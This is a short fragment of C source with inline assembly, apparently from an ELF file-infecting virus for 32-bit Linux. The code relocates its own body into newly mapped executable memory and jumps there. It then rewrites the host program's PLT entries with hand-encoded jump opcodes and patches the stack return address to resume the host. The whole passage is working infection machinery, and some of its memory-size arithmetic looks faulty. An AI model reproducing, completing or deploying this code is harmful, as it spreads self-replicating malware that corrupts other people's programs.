	/* move itself to the new memory location */
	uint32_t nloc;
	nloc = mmap(NULL, 1, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	memcpy((void*)nloc, g->self, g->size + 12);
	mprotect(nloc, g->size, PROT_READ|PROT_EXEC);
	asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r"(nloc):"%eax");
	
	/* restore .plt section */
	uint32_t plta, plts, gotp, orel, jmp1, i;
	plta = *(uint32_t*)(g->self + g->size + 0);
	plts = *(uint32_t*)(g->self + g->size + 4);
	gotp = *(uint32_t*)(g->self + g->size + 8);
	orel = *(uint32_t*)(g->self + g->size + 12);
	jmp1 = 0xffffffe0;
	mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ|PROT_WRITE);
	for (i = 16; i < plts; i += 16) {
		*(uint16_t*)(plta + i + 0x0) = 0x25ff;
		*(uint32_t*)(plta + i + 0x2) = gotp;
		*(uint8_t *)(plta + i + 0x6) = 0x68;
		*(uint32_t*)(plta + i + 0x7) = orel;
		*(uint8_t *)(plta + i + 0xb) = 0xe9;
		*(uint32_t*)(plta + i + 0xc) = jmp1;
		jmp1 -= 16;
		gotp += 4;
		orel += 8;
	}	
	mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ|PROT_EXEC);

	/* adjust return address */
	*(uint32_t*)(&esp - 1) = (nloc + 5);